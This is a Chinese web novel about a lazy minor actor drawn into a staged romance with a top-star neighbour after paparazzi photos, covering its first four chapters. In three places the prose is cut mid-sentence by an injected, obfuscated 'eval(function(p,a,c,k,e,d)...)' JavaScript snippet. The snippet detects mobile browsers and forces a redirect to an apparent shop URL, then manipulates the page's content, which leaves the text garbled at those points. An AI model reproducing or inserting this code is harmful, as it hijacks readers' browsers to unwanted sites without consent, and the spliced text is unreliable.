《顶流碰瓷指南[娱乐圈]》 1. 阳台飞仙,还是社会性死亡? 程诺的人生信条很简单:能躺绝不坐,能坐绝不站,生命在于静止。 此刻,他正完美践行着这一信条,陷在柔软如云朵的沙发里,像一只在阳光下融化的冰淇淋,进行着一天中最重要的事——酝酿午睡。 隔壁那位新邻居,顶流傅晏辞,已经搬来一个月。这一个月,程诺被迫熟悉了对方雷打不动的作息:清晨五点,隔壁健身房传来的隐约律动;七点,门口精准的快递签收声。真是个可怕的卷王。程诺对此的唯一态度是:敬而远之,王不见王。 他打了个巨大的哈欠,眼角渗出困倦的泪花,正准备滑入梦乡,与客厅相连的阳台方向却传来一声沉闷的异响——绝不是风声,也绝不是鸟叫。 程诺的咸鱼雷达“嘀”一声响起。他挣扎着从沙发里拔出自己,蹑手蹑脚挪到阳台玻璃门前,小心撩开窗帘一角。 这一看,睡意瞬间吓飞了一半。 他家阳台的栏杆上,正挂着一个……人? 一个穿着看似昂贵、此刻却略显凌乱的真丝睡衣的男人,正以一种极其别扭且高难度的姿势,试图从他家阳台翻进来。男人身形高大,动作间透着一股与衣着不符的狼狈。 程诺眨眨眼,以为自己熬夜看漫画出现了幻觉。可那张脸,就算角度清奇,他也认得——隔壁那个卷王之王,顶流傅晏辞。 傅晏辞显然也发现了他,动作一顿,四目相对,空气死一般寂静。他脸上飞快地闪过一丝被撞破的尴尬,但立刻被一种程诺无法理解的、破罐子破摔的镇定取代。 “程先生?”傅晏辞先开了口,声音低沉,带着一丝刚进行完“高空作业”的沙哑,语气却自然得像在小区里偶遇,“帮个忙?” 程诺的大脑缓冲了三秒,才慢吞吞地拉开玻璃门,看着对方利落地翻身落地:“……傅老师?您这是……新戏体验生活?还是我家阳台风水比较好?” 傅晏辞拍了拍睡衣,视线扫过程诺那件洗得发旧的皮卡丘T恤,眼神复杂:“我的钥匙反锁在屋里了。”他顿了顿,补充了一个更扯的理由,“经纪人暂时联系不上。” 程诺看了看两家阳台之间那至少一米多宽的空隙,内心吐槽:您这开锁方式挺费命啊?有这功夫不能找物业吗? 本着多一事不如少一事、赶紧送神好睡觉的原则,程诺扯出礼貌的微笑:“原来如此。那傅老师您请便,门在那边。”他侧身让开通道,示意对方可以从他家正门离开。 傅晏辞却没动,目光落在程诺那张写满“我想睡觉别烦我”的脸上,忽然开口,语气带着一种不容置疑的决断:“程先生,或许我们该谈谈。” 程诺心里咯噔一下。谈什么?谈高空攀岩的安全注意事项? 就在这时,他的手机像催命符一样炸响,屏幕上“林姐”两个字疯狂跳动。程诺刚接起,经纪人堪比高音喇叭的咆哮就穿透而来: “程诺!!!你还在家躺尸?!你炸了!你上热搜第一了!!有狗仔拍到你今天早上从傅晏辞家阳台翻回自己家!!高清图!连你睡衣上的皮卡丘都拍得一清二楚!现在全网都炸了,说你们表面王不见王,私下竟然玩得这么刺激?!你立刻!马上!给我死到公司来!!” 程诺:“……” 他举着手机,如同被雷劈中般僵在原地。早上?从傅晏辞家翻回来?他唯一接近傅晏辞家阳台的时候,就是十分钟前围观对方翻进来! 他缓缓地、难以置信地看向面前的傅晏辞。 傅晏辞脸上没有丝毫意外,反而用一种“果然如此”的了然眼神回望他,甚至微微挑了下眉,仿佛在说:“看,我说要谈谈吧。” 这一刻,程诺那条咸鱼了二十多年的大脑,终于清晰地意识到—— 他,程诺,娱乐圈著名小透明、咸鱼本鱼,好像……摊上大事了。 而罪魁祸首,正用那双深邃的眼睛看着他,仿佛在说:“看,我说要谈谈吧。” …… 程诺坐在经纪公司那间熟悉得不能再熟悉的会议室里,感觉自己像一条被扔进油锅的咸鱼,两面煎黄,外焦里嫩。 经纪人林姐像一头暴走的喷火龙,在他面前来回踱步,手机都快戳到他鼻尖上了。 “程诺!你给我解释清楚!这到底是怎么回事?!皮卡丘!你穿着你那件破皮卡丘睡衣去翻傅晏辞的阳台?!你是怕狗仔认不出你吗?!” 程诺张了张嘴,试图说出“是他翻我家阳台”这个惊天真相,但眼角余光瞥见安静坐在会议室另一端沙发上的傅晏辞,以及傅晏辞身边那位气场两米八、眼神锐利得像手术刀的王牌经纪人杨姐,他把话又咽了回去。 说出来谁信?顶流傅晏辞,翻他这个小透明的阳台?听起来比他暗恋傅晏辞所以凌晨爬阳台还离谱。 傅晏辞倒是气定神闲,甚至慢条斯理地端起桌上的咖啡喝了一口,仿佛眼前这场风暴与他无关。他只是偶尔抬眼,目光落在蔫头耷脑的程诺身上,带着一种难以言喻的……探究? “林经纪,稍安勿躁。”杨姐终于开口,声音冷静,带着掌控全局的从容,“事情已经发生了,当务之急是解决问题。热搜已经爆了三个,公关部那边电话被打爆,我们需要一个能说服公众的解释。” 林姐深吸一口气,强迫自己冷静下来:“杨姐,您说怎么办?我们这边一定全力配合澄清!就说是个误会,程诺喝多了走错门?”这是她能想到的最常规的公关说辞。 杨姐却摇了摇头,视线转向傅晏辞,带着询问的意味。 傅晏辞放下咖啡杯,目光终于正式落在程诺身上,那眼神深邃,看得程诺心里直发毛。 “澄清,未必是最好的办法。”傅晏辞开口,声音不高,却瞬间吸引了所有人的注意力,“越是欲盖弥彰,舆论发酵得越厉害。狗仔拍到的画面太清晰,‘走错门’这种借口,太苍白。” “那……傅老师您的意思是?”林姐小心翼翼地问。 傅晏辞的指尖轻轻敲了敲桌面,抛出了一个让程诺差点从椅子上滑下去的提议: “不如,我们就承认在恋爱。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102925|195756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会议室里死寂了三秒。 “什……什么?!”程诺和林姐同时惊呼出声。 程诺瞪大了眼睛,看着傅晏辞,怀疑自己是不是因为睡眠不足出现了幻听。承认恋爱?和这个卷王?开什么国际玩笑!他的人生计划里只有躺平,没有恋爱,更没有和卷王恋爱这种高难度项目! “傅老师,这……这玩笑可开不得!”林姐也慌了,“这对您的形象影响太大了!而且我们程诺也……” “我是认真的。”傅晏辞打断她,语气平静却不容置疑,“‘协议恋爱’。对外官宣,稳住舆论,一段时间后,再以性格不合为由和平分手。这是目前能将负面影响降到最低,甚至可能实现双赢的方案。” 杨姐在一旁微微点头,显然是和傅晏辞通过气了。 “双赢?”程诺终于找回了自己的声音,带着难以置信的干涩,“我赢什么了?”他仿佛已经看到了自己被傅晏辞的粉丝手撕成咸鱼干的悲惨未来。 傅晏辞看向他,嘴角似乎勾起一个极浅的弧度,快得让人捕捉不到:“热度,资源,关注度。或者,简单点……”他顿了顿,说出了让程诺更加崩溃的话,“……清净。” “???”程诺没懂。 傅晏辞难得耐心地解释:“官宣后,短期内不会再有任何狗仔费心盯着你我的私生活,因为他们觉得已经挖到了最大的瓜。你可以获得你想要的……‘静止’生活。当然,是在配合必要的‘演出’之后。” 程诺愣住了。这话……怎么好像戳中了他那条咸鱼的死穴?用一时的“演出”,换取长久的“躺平”? 林姐显然被“热度、资源”打动了,态度开始松动,小声和杨姐讨论起操作细节。 程诺脑子一团乱麻,胃里因为紧张和饥饿开始隐隐作痛。他昨晚看漫画到今天凌晨,就吃了包薯片,现在快下午两点了…… 就在他感觉自己快要低血糖晕过去的时候,一阵诱人的食物香气飘了进来。 傅晏辞的助理提着一个精致的保温袋走了进来,低声对傅晏辞说:“辞哥,您要的馄饨买来了。” 傅晏辞接过袋子,居然直接放到了程诺面前的桌子上,打开了盖子。一碗热气腾腾、香气四溢的鲜虾小馄饨出现在程诺眼前,汤色清亮,飘着嫩绿的葱花。 “先吃点东西。”傅晏辞的语气自然得像是对待老朋友,“看你脸色不好。” 程诺:“……” 林姐和杨姐也停下了讨论,惊讶地看着这一幕。 程诺看着那碗馄饨,肚子不争气地叫了一声。在经纪人的咆哮、顶流的惊世提议和饥饿的三重夹击下,他的心理防线全面崩塌。 他拿起勺子,舀起一个馄饨塞进嘴里。温热鲜美的味道瞬间抚慰了他受创的神经。 行吧……程诺一边嚼一边想,协议恋爱就协议恋爱吧。起码这个卷王,还挺会来事儿?知道给搭档投喂。 而且,这馄饨,真香啊。 傅晏辞看着埋头苦吃的程诺,眼神深处掠过一丝计划得逞的微光。 2. 官方打脸,来得又快又疼 那碗鲜虾小馄饨最终成了程诺签署“卖身协议”的断头饭。 他几乎是含着泪(饿的)在林姐半是威逼利诱(“想想未来的清净!”)、半是忧心忡忡(“你可千万别给我演砸了!”)的目光下,默许了傅晏辞那个惊世骇俗的“协议恋爱”方案。 杨姐的团队效率高得吓人。程诺一碗馄饨还没吃完,一份措辞严谨、却又暗藏玄机的官方声明草稿已经发到了林姐手机上。声明大意是:傅晏辞与程诺先生因戏结缘(结个屁,他俩唯一的交集是一部剧里程诺演了个三分钟就挂掉的背景板),私下互生好感,正在认真接触了解中,感谢大家关心,恳请给予空间。 “互生好感……认真接触……”程诺嚼着最后一个馄饨,觉得这些词儿比馄饨皮还难以下咽。 声明发布前五分钟,程诺被造型团队按在椅子上紧急抓了个头发,换了件看起来稍微有点精神气的卫衣——虽然比起傅晏辞那身随时能走红毯的高定休闲装,他依然像误入天鹅湖的丑小鸭。 傅晏辞的团队甚至“贴心”地安排了一场临时的媒体线上群访,美其名曰“主动沟通,避免猜测”。 程诺坐在傅晏辞旁边,面对屏幕上密密麻麻的媒体窗口和疯狂刷新的提问,感觉比当年艺考还紧张。他下意识地想往后缩,却被傅晏辞在桌子底下轻轻握住了手。 程诺浑身一僵,触电般想抽回来,却被对方更用力地握住。傅晏辞的手心干燥温热,带着一种不容置疑的力道。 “别怕,跟着我说就行。”傅晏辞侧过头,用只有两人能听到的声音低语,脸上却挂着恰到好处的温柔笑意,演技堪称影帝级别。 程诺:“……”我怕的就是你这个! 记者的问题如同连珠炮般砸来: “傅老师,请问您和程先生是什么时候开始的?” “程先生,有网友拍到您今早从傅老师家中离开,是否意味着已经同居?” “两位之前似乎并无交集,突然官宣恋爱,是否另有隐情?” 傅晏辞游刃有余,回答得滴水不漏:“感情是水到渠成的事情,具体的时间点并不重要。”“我们尊重彼此的空间,目前正在稳步发展中。”“隐情?”他轻笑一声,转头看向程诺,眼神里盛满了足以以假乱真的深情,“最大的隐情可能就是,我发现程诺比我想象中还要有趣得多。” 全场记者的镜头立刻对准了程诺,期待着他的回应。 程诺头皮发麻,大脑一片空白。林姐在后台拼命对他使眼色,口型比划着:“说点好听的!夸他!” 夸他?夸他什么?夸他五点起床扰人清梦?夸他翻阳台身手矫健? 在傅晏辞“鼓励”(警告)的目光下,程诺憋了半天,终于挤出一句:“傅老师……他、他人挺好的……特别……自律。” 记者们:“……”这夸得也太干了吧! 傅晏辞嘴角微不可察地抽动了一下,随即接过话头,自然地揽住程诺的肩膀,带着点宠溺的语气解围:“他比较害羞,大家多包涵。我们希望能低调地享受这段时光,谢谢各位的祝福。” 这场简短却信息量巨大的群访,如同在沸腾的油锅里又浇了一瓢水,彻底炸了。 热搜前五再次被霸占: 1.#傅晏辞程诺官宣# 2.#傅晏辞说程诺有趣# 3.#程诺傅晏辞人挺好# 4.#害羞程诺# 5.#晏诺CP(爆)# CP粉以光速成型,超话建得比火箭还快。有人扒出程诺那件出镜的皮卡丘睡衣同款,称之为“定情睡衣”;有人分析傅晏辞群访时看程诺的眼神“拉丝”,绝对是真爱;甚至还有人翻出N年前两人可能在同一场合出现过的模糊照片,称之为“命运的伏笔”。 程诺刷着手机,感觉自己像是在看别人的故事。他那条只有几十个僵尸粉的微博,瞬间涨粉百万,最新一条分享外卖优惠券的微博下面,挤满了前来“朝圣”的CP粉和吃瓜群众。 “嫂子好!(虽然好像是个哥哥)” “原来辞哥喜欢这种慵懒风的美人!” “诺崽好可爱!辞哥你要好好对他!” 程诺看着“嫂子”、“诺崽”这些称呼,眼前一黑。 而更让他眼前发黑的是,群访结束后,傅晏辞极其自然地跟着他,走到了他家门口。 “你……还有事?”程诺站在门口,警惕地看着他,没有半点要请他进去的意思。 傅晏辞指了指隔壁自己的家门,语气理所当然:“协议期间,为了方便‘培养感情’和应对突发状况,我认为我们有必要……增加互动频率。” 程诺有种不祥的预感:“比如?” 傅晏辞微微一笑,那笑容在程诺看来,像极了准备登堂入室的狐狸:“比如,从共进晚餐开始?我点了外卖,双人份。” 程诺:“!!!” 所以,这协议恋爱,不仅要演给全世界看,还得从家门口就开始演?!他的咸鱼窝,即将被卷王入侵了? 程诺看着傅晏辞手里果然提着的、印着某高级餐厅Logo的食盒,第一次深刻体会到,什么叫“请神容易送神难”。 而傅晏辞已经非常自觉地往前一步,几乎要贴着他,低声说:“不请我进去坐坐?‘男朋友’。” 程诺站在自家门口,看着傅晏辞手里那份明显价格不菲的外卖食盒,又回头瞅了瞅自己那个堆着漫画书、沙发上还扔着昨天换下来没收拾的T恤的客厅,第一次产生了某种叫做“羞耻心”的东西。 但这感觉只持续了三秒,就被更强的“领地意识”取代。 “傅老师,”程诺试图做最后的挣扎,“我家……有点乱,怕玷污了您的眼睛。要不,您还是回自己家吃?” 傅晏辞仿佛没听见,视线越过他,精准地落在了客厅茶几上那半包没吃完的薯片上,眉头几不可察地蹙了一下,但很快舒展。“没关系,我不介意。”他语气温和,动作却带着不容拒绝的强势,轻轻推开程诺还虚掩着的门,侧身走了进去。 程诺:“……”这人怎么听不懂客气话呢! 傅晏辞像视察领地一样,目光扫过程诺这个充满生活气息(其实就是乱)的小窝。东西不多,但摆放得随心所欲,透着一股“主人怎么舒服怎么来”的散漫。和他那个整洁得像样板间、连抱枕角度都要量一量的家,截然不同。 他径直走到餐桌前,将食盒一层层打开。瞬间,诱人的香气弥漫开来,是清淡但精致的粤菜:晶莹的虾饺,软糯的豉汁凤爪,金黄诱人的榴莲酥…… 而程诺的餐桌上,还摆着他昨晚吃泡面没扔的桶,以及几袋不同口味的外卖调料包。 对比惨烈。 傅晏辞面不改色地将泡面桶推到一边,优雅地摆好餐具,甚至拿出了两副。“过来吃,凉了口感不好。” 程诺磨磨蹭蹭地走过去,看着那一桌明显是“养生局”的菜色,胃里的馋虫虽然被勾起来了,但嘴巴却有点挑剔。“有可乐吗?” 傅晏辞动作一顿,抬头看他,眼神里写着“你是在开玩笑吗?”。“碳酸饮料不健康。这里有炖汤。”他推过去一个精致的白瓷盅。 程诺看着那盅清澈见底、飘着两粒枸杞的汤,沉默了。他的快乐水呢?他的肥宅套餐呢?这协议恋爱才刚开始,就要剥夺他的人生乐趣了吗? 他认命地坐下,夹起一个虾饺。味道确实顶级,但总觉得少了点……烟火气。 吃饭过程安静得诡异。傅晏辞食不言寝不语,姿态优雅得像在拍美食广告。程诺则浑身不自在,感觉自己稍微发出点咀嚼声都是罪过。 “你平时……就吃这些?”傅晏辞忽然开口,打破了沉默,目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102926|195756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光意有所指地扫过那个泡面桶。 程诺挺直腰板:“外卖是人类伟大的发明!节约时间,味道多样……” “营养不均衡,油脂和钠含量超标。”傅晏辞冷静地打断他,像个没有感情的营养学专家。 程诺噎住,愤愤地咬了一口榴莲酥。这人怎么这么爱管闲事! 吃完饭,傅晏辞居然没有立刻离开的意思。他看了看表,说:“才七点半,时间还早。” 程诺心中警铃大作:“所、所以呢?” “所以,”傅晏辞看向他,眼神里带着一种“我们来执行恋爱协议KPI”的正经,“我们可以进行一些情侣间的常规互动,增加可信度。” 程诺头皮发麻:“比如?” “比如,一起看部电影?”傅晏辞提议,“我那里有最新的4K投影和环绕音响。” 程诺想拒绝,但“最新投影”和“环绕音响”对他这个电影爱好者有着致命的吸引力。他挣扎了一下,最终还是可耻地屈服于对高端设备的向往。“……行吧。” 于是,五分钟后,程诺第一次踏进了傅晏辞的家。 一进门,他就被震撼了。这地方干净得像没人住,所有东西都摆放得一丝不苟,色调是单调的黑白灰,空气里弥漫着淡淡的香薰味,安静得能听到自己的心跳声。 这哪里是家,这简直是高级疗养院的VIP套房! 傅晏辞调好设备,选了一部口碑不错的科幻片。画面和音效确实顶级,程诺很快沉浸了进去。 看到一半,程诺习惯性地想评论几句,一扭头,发现傅晏辞坐得笔直,神情专注,仿佛不是在放松,而是在进行学术观摩。 程诺默默把话咽了回去。这电影看得,比上课还累。 电影结束,程诺松了口气,准备开溜。 傅晏辞却关掉设备,状似无意地问:“你觉得这部电影的叙事结构怎么样?第三幕的转折是否有些生硬?” 程诺:“……”我只是个想看个热闹的咸鱼,为什么要做阅读理解?! 他含糊地应付:“还、还行吧,特效挺酷的。” 傅晏辞看了他一眼,没再追问,只是说:“明天早上我健身完,过来叫你吃早餐。” 程诺瞬间炸毛:“几点?!” “七点半。”傅晏辞语气平淡,仿佛在说一个再正常不过的时间。 “七点半?!那是我的深度睡眠时间!”程诺惨叫,“我不吃早餐!我的人生没有早餐这个选项!” 傅晏辞无视他的抗议,走到门口,替他打开门,用那种惯有的、不容置疑的语气说:“协议期间,健康作息也是形象管理的一部分。明天见,程诺。” 程诺被他“请”出了门,站在走廊上,看着那扇缓缓关上的、冰冷的大门,感觉自己不是谈了个恋爱(哪怕是协议的),而是给自己找了个爹系教官。 程诺悲愤地回到自己那个乱糟糟却无比自在的小窝,一头栽进沙发里,感觉灵魂都被抽空了。 就在这时,他的手机响了,是林姐。 “诺诺!好消息!天大的好消息!”林姐的声音兴奋得变了调,“借着你这波恋情的东风,好几个本子和综艺找上门了!有个生活观察类综艺特别中意你们这对,想邀请你和傅老师作为常驻嘉宾!还有两个剧本,虽然不是什么大男主,但人设很不错!” 程诺眼前一黑。他光顾着应付傅晏辞,忘了官宣恋情的另一重副作用——工作量会增加! “林姐……我能不能……” “不能!”林姐斩钉截铁,“咸鱼也要有翻身的一天!这可是千载难逢的机会!明天上午十点,来公司详谈,傅老师那边杨姐也会来!别忘了!” 电话挂断,程诺瘫在沙发上,生无可恋。 完了。他的咸鱼人生,不仅被隔壁教官入侵,还要被工作塞满了。 3. 直播?这是公开处刑! 第二天早上七点二十九分,程诺家的门铃准时响起,如同催命符。 程诺用枕头死死捂住耳朵,试图屏蔽这个世界。然而门铃执著地响着,伴随着傅晏辞清晰平稳的声音透过门板传来:“程诺,起床。早餐准备好了。” 程诺恨不得把自己埋进沙发缝里。他昨晚因为焦虑工作,看漫画看到后半夜,现在眼皮重得像挂了铅球。 门外的傅晏辞似乎很有耐心,每隔三十秒按一次铃,节奏稳定,毫不间断。这种精神污染式的叫醒服务,比十个闹钟还管用。 五分钟后,程诺顶着一头乱毛,杀气腾腾地拉开了门,对着门外衣冠楚楚、连头发丝都透着精致的傅晏辞怒吼:“傅晏辞!你有完没完!我不吃早餐!我要睡觉!” 傅晏辞手里果然又提着一个食盒,对他暴躁的状态视若无睹,平静地陈述:“不吃早餐会影响上午开会的状态。十点,公司会议室,讨论新工作,别忘了。” 程诺:“……”他怎么比林姐记得还清楚! 最终,程诺还是被“拎”到了傅晏辞家,面前摆着一份营养均衡但味道寡淡的早餐(燕麦粥,水煮蛋,西蓝花)。他看着傅晏辞优雅进食的样子,愤愤地戳着碗里的燕麦,感觉自己在吃草。 “那个综艺,”傅晏辞忽然开口,“《我们的生活慢下来》,你看过吗?” 程诺有气无力:“听过,没看过。”他只看动漫和搞笑视频。 “是一档记录艺人日常生活的观察类节目。他们这次想主打‘反差CP’的概念,觉得我们很合适。”傅晏辞解释。 程诺嘴角抽搐:“确实反差……一个卷死自己,一个懒死自己。”他猛地抬头,抓住最后一根稻草:“你那么忙,肯定没空接这种慢综艺吧?是不是要进组了?” 傅晏辞擦擦嘴角,打破了他的幻想:“巧了,我刚杀青一部戏,下一个电影项目下个月才开机,正好有档期。而且,”他看向程诺,眼神意味深长,“杨姐认为,参加综艺是巩固我们‘恋情’、维持热度的最好方式。” 程诺的希望破灭了。他连“傅晏辞没空”这个借口都用不上了! 上午十点,公司会议室。 林姐和杨姐已经在了,两人面前摆着几份厚厚的资料。程诺蔫头耷脑地坐在傅晏辞旁边,听着两位经纪人分析利弊。 最终,在杨姐强大的谈判能力和傅晏辞的默认下,行程基本定了下来:接下《我们的生活慢下来》综艺的常驻邀请,作为“官宣”后的首次合体亮相。同时,程诺之前接触过的一个小成本网剧也正式敲定,他饰演男三号,一个活泼开朗的角色,戏份不重,但人设讨喜。 “太好了诺诺!终于不再是背景板了!”林姐喜形于色。 程诺却笑不出来。这意味着,他不仅要应付傅晏辞这个“协议男友”,还要同时应付综艺录制和剧组拍摄!他的躺平计划彻底宣告破产! 会议结束,往外走的时候,程诺忍不住哀嚎:“完了,我要同时打三份工了……” 走在他旁边的傅晏辞闻言,侧头看了他一眼,忽然淡淡地说:“综艺和剧本,都是靠‘恋情’热度带来的。严格来说,你只用打好‘恋爱’这一份工,另外两份是赠品。” 程诺一愣,仔细一想,好像……有点道理?如果没有傅晏辞碰瓷,这些资源大概率轮不到他。 但下一秒,他就觉得不对味儿了。这怎么听着,像是他占了天大的便宜? “所以,”傅晏辞停下脚步,看着他,嘴角勾起一抹微不可察的弧度,“程老师,为了你的‘赠品’工作能顺利进行,我们的‘主职工作’是不是应该更敬业一点?比如,从现在开始,练习一下如何在镜头前自然互动?” 程诺看着傅晏辞那张靠近的俊脸,以及他眼中闪烁的、分明是捉弄人的光芒,瞬间警铃大作。 这哪里是赠品?这分明是卖身契的附加条款!还是无限续杯的那种! 《我们的生活慢下来》这档综艺,以其“24小时不间断直播+精剪版”的模式著称,主打的就是一个“真实”。当程诺得知这个设定时,他唯一的想法就是:现在违约还来得及吗? 答案是否定的。 于是,在一个阳光明媚(程诺觉得是乌云密布)的早晨,节目组的摄像团队浩浩荡荡地开进了他们所在的公寓楼层。直播信号在各大平台同步开启,瞬间涌入数百万观众,弹幕厚得几乎看不清画面。 【来了来了!守了一早上!】 【让我看看是什么样的人能拿下我们辞哥!】 【阳台CP打卡!】 【程诺呢?快让我看看嫂子!】 第一个直播镜头,就给到了程诺的家门口。编导通过耳麦提示:“程老师,可以出来了,自然一点,跟观众打个招呼。” 程诺深吸一口气,视死如归地拉开了门。他昨晚又被傅晏辞拉着“对流程”到半夜,此刻困得眼皮打架,穿着那件熟悉的皮卡丘睡衣(在林姐的强烈反对下未能成功淘汰),头发乱得像鸡窝,对着镜头勉强挤出一个比哭还难看的笑:“大、大家早……” 弹幕瞬间爆炸: 【哈哈哈救命!这刚睡醒的懵逼样!】 【皮卡丘!是定情睡衣!磕死了!】 【好真实……像我每天早上起床的样子。】 【辞哥呢?辞哥不来接他吗?】 仿佛听到了弹幕的呼唤,隔壁门开了。傅晏辞一身清爽的运动装,头发精心打理过,脸上带着恰到好处的微笑,仿佛随时准备登上财经杂志封面。他手里还提着一个保温盒。 “早,诺诺。”傅晏辞走到程诺身边,极其自然地伸手帮他理了理翘起来的头发,动作亲昵自然,“给你带了早餐,是你喜欢的虾饺。” 程诺浑身一僵,被那声“诺诺”雷得外焦里嫩,差点条件反射把他手拍开。但在镜头的注视下,他只能硬着头皮,扯出一个扭曲的笑容:“……谢谢晏辞哥。” 【啊啊啊!诺诺!晏辞哥!好亲昵!】 【辞哥好温柔啊!还记得他喜欢虾饺!】 【程诺好像害羞了,耳朵都红了!】 【(只有我觉得程诺的表情像吃了苍蝇吗?)】 程诺不是害羞,他是憋的!憋着不打哈欠,憋着不把傅晏辞的手甩开! 直播镜头跟着他们进了傅晏辞家。与程诺家随性的风格截然不同,傅晏辞的家整洁得令人发指,所有物品归置得井井有条,色调统一,空气中弥漫着淡淡的冷冽清香。 节目组显然很懂,立刻给了客厅里那两个并排放置、款式却格格不入的情侣马克杯一个特写(是杨姐昨天临时放过来的道具)。 编导画外音提问: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102927|195756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “傅老师,程老师,第一次以这样的形式和大家分享生活,感觉怎么样?” 傅晏辞从容接话:“有点紧张,但更多的是开心。希望能让大家看到我们最真实的状态。”说完,他含笑看了程诺一眼。 程诺正对着那盒虾饺发呆,闻言下意识点头:“啊?哦,对,真实……挺真实的……”真实地想睡觉。 弹幕一片【哈哈哈】: 【程诺:我是谁?我在哪?】 【这孩子还没醒透吧?】 【好像被家长拉出来表演节目的我。】 吃早餐环节更是灾难。傅晏辞慢条斯理,举止优雅。程诺则困得头一点一点,差点把脸埋进粥碗里。傅晏辞不得不几次在桌下轻轻碰他的腿,提醒他注意镜头。 “诺诺,昨晚没睡好吗?”傅晏辞“关切”地问,语气温柔得能滴出水来。 程诺心里疯狂吐槽:还不是你害的!嘴上却只能含糊:“还、还行,看了个剧本,看得有点晚。” 【呜呜辞哥好细心!】 【程诺好努力啊,连夜看剧本!】 【这对也太甜了吧!】 早餐后,编导安排了“情侣默契大考验”环节。问题一个比一个刁钻: “请问,对方最喜欢的颜色是什么?” 傅晏辞毫不犹豫:“亮黄色。”目光扫过程诺的皮卡丘睡衣。 程诺绞尽脑汁:“黑……黑色?”他看傅晏辞衣服基本都是黑白灰。 【噗!程诺答错了!】 【辞哥居然知道!观察力满分!】 “对方的口头禅是什么?” 傅晏辞微微蹙眉,似在认真思考:“‘让我再睡五分钟’。” 程诺这次学乖了:“‘自律给我自由’?”他听傅晏辞念叨过几次。 【哈哈哈!程诺这次蒙对了!】 【辞哥那个皱眉思考的样子好可爱!】 【“再睡五分钟”真实!】 默契考验的结果自然是惨不忍睹,但诡异的制造了大量笑料和萌点。程诺那种迷迷糊糊、总慢半拍的反应,和傅晏辞看似无奈实则纵容的态度,形成了一种奇妙的化学反应,反而让弹幕磕得更起劲了。 一上午的直播下来,程诺感觉像打了一场硬仗,身心俱疲。趁着节目组调整机位的空隙,他溜到阳台想喘口气。 没想到傅晏辞也跟了过来,递给他一瓶水。 “表现不错。”傅晏辞低声说,语气里听不出是真心还是调侃。 程诺接过水,没好气地瞪他一眼:“傅老师,戏过了吧?又是理头发又是叫诺诺的……” 傅晏辞靠在栏杆上,看着远处,侧脸在阳光下显得轮廓分明:“直播镜头很敏锐,细节决定成败。”他顿了顿,转头看向程诺,眼神深邃,“而且,我觉得‘诺诺’挺好听的。” 程诺的心跳漏了一拍,随即暗骂自己没出息,这肯定是渣男的套路! “下午的行程是去超市采购,”傅晏辞转移了话题,“记得,自然互动。” 程诺眼前一黑。超市?那岂不是更多人围观?他仿佛已经看到了自己推着购物车,在傅晏辞的“指挥”下,像个提线木偶一样挑选健康食品的悲惨画面。 他的慢生活,一点都不慢,反而快得像一场滑稽戏!而这场戏,才刚刚拉开帷幕。 4. 超市战争与进组探班 节目组的车队抵达了本市一家高端会员制超市。显然是为了避免围观造成混乱,但即便如此,得知消息的粉丝和狗仔还是将超市外围得水泄不通。直播镜头切换到超市内部,依然有零星的顾客投来好奇的目光。 程诺推着购物车,感觉自己像动物园里被围观的猴子。傅晏辞则一如既往地镇定,甚至还能对偶尔认出他们的顾客点头微笑,风度无可挑剔。 “我们需要采购一些未来几天的食材。”傅晏辞拿着节目组提供的清单,语气像是下达指令,“主要以新鲜蔬菜、优质蛋白和健康碳水为主。” 程诺看着清单上那些花椰菜、鸡胸肉、糙米之类的字眼,感觉人生失去了色彩。他的目光不由自主地飘向了远处的零食区和饮料区。 “程诺。”傅晏辞的声音把他飘远的思绪拉了回来,“跟上,先去生鲜区。” 【辞哥好像带队军训的教官哈哈哈!】 【程诺:我想去那边!我的快乐水!】 【这对比笑死我了,一个目标明确,一个魂不守舍。】 在生鲜区,傅晏辞熟练地挑选着牛排的成色,检查蔬菜的新鲜度,严谨得像在做科学实验。程诺则负责推车,并在他每拿起一样东西时,发出毫无灵魂的赞叹:“哇,这个看起来真不错。”“嗯,这个好新鲜。” 他的敷衍几乎写在了脸上。在一次傅晏辞认真对比两种橄榄油时,程诺甚至偷偷拿出手机,想看看外卖软件里这家超市有没有可乐直送。 “在看什么?”傅晏辞的声音突然在耳边响起,吓了程诺一跳,手机差点掉进放满冰块的鱼缸里。 “没、没什么!”程诺慌忙把手机塞回口袋。 傅晏辞意味深长地看了他一眼,没再追问,只是把一瓶特级初榨橄榄油放进购物车。“走吧,去买点调味品。” 经过饮料区时,程诺的脚步明显黏住了。货架上琳琅满目的碳酸饮料,尤其是他那肥宅快乐水,像散发着圣光一样召唤着他。他眼巴巴地看着,喉咙不自觉地动了动。 镜头敏锐地捕捉到了这一幕特写。 